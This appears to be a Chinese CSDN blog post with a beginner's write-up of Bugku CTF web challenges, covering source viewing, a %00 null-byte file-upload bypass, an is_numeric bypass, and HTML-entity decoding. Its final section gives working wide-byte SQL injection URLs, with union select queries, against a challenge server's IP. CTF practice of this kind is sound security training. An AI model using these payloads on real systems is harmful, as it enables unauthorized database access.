bugku web题1~8 write up

本文是作者初次撰写博客,详细记录了在Bugku平台上的Web安全题目解题过程,涵盖了文件上传漏洞利用、计算器的F12修改元素、GET与POST参数的理解、矛盾问题的科学计数法绕过以及SQL注入的宽字节注入技巧。每个题目都提供了解题思路和关键知识点。
摘要由CSDN通过智能技术生成

第一次写博


web2

打开网页是一个不断加快的动画,没有特别的线索。
右键查看元素,结果flag就在body注释里,如图:

ps:感觉这题收获不大,也许可以理解一下这题的js代码,就当是学js了
p:考察右键查看源码


文件上传测试

测试:需要上传php文件才能得到flag,但是只允许上传图片文件
思路:使用%00截断上传文件
流程:构造文件名为1.php.jpg的文件上传用burp抓包(如图):
如图:
修改文件名:在.php之后加上%00截断,进行url解码还原为空字符,提交得到flag
解码前:这里写图片描述解码后:这里写图片描述
p:文件上传漏洞


计算器

打开网页显示界面如下:
这里写图片描述
尝试输入答案,发现表单输入长度为1
思路:通过元素修改输入框的maxlenth属性,输入计算结果提交,得到flag。(如图)
这里写图片描述
p:利用F12修改元素


web基础$_GET

打开页面得到以下代码:

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

简单来说就是通过get传入参数:what=flag
得到flag
p:了解get


web基础$_POST

打开页面得到以下代码:

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

解析:通过get传入参数:what=flag
得到flag(post传参可使用火狐插件hackbar)
p:了解post


矛盾

打开页面得到以下代码:

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
代码解析:
函数:is_numeric()

is_numeric() — 检测变量是否为数字或数字字符串
语法:bool is_numeric ( mixed $var )
如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。

逻辑:

通过get传入参数num,要得到flag,num不能是数字或数字字符串,且num==1
很明显两个条件是矛盾的

思路:

通过科学计数法表示1,因为科学计数法不是纯数字又可以等于一。
php科学计数法格式:系数e+指数
例: 1000==1e+3 1234=1.234e+3 1=1e+0
传入num=1e+0 得到flag
p:科学计数法绕过


web3

打开页面不断出现弹框,禁用弹框后,查看元素。
发现script标签里有这样一行代码:

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

感觉是unicode编码:尝试解码(可用站长工具,网上直接搜就行)
解码得到flag

这里有一个疑问:
&# + 十进制 和 &#x + 十六进制 似乎都是表示unicode编码
额,我是这样理解的,不知道对不对
p:右键产看script,unicode码


sql注入

打开页面如图:
这里写图片描述
要求查询key表,id=1的string字段
测试:单引号 双引号 返回正常,应该进行了转义,查看网页元素发现使用gb2312编码
那就尝试一下宽字节注入:

http://103.238.227.13:10083/?id=1%bf‘–+
http://103.238.227.13:10083/?id=1%bf’ and 1=1–+
http://103.238.227.13:10083/?id=1%bf’ and 1=2–+

不加注释报错,加注释返回正常,存在逻辑判断,存在注入
判断字段数:

http://103.238.227.13:10083?id=1%bf’ order by 2–+

判断回显点:

http://103.238.227.13:10083?id=0%bf’ union select 1,2–+

查数据库:

http://103.238.227.13:10083?id=0%bf’ union select database(),2–+
数据库:sql5

结合题目获取flag:

http://103.238.227.13:10083?id=0%bf’ union select string,2 from sql5.key–+
得到flag

p:宽字节注入


(*有借鉴他人write up)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值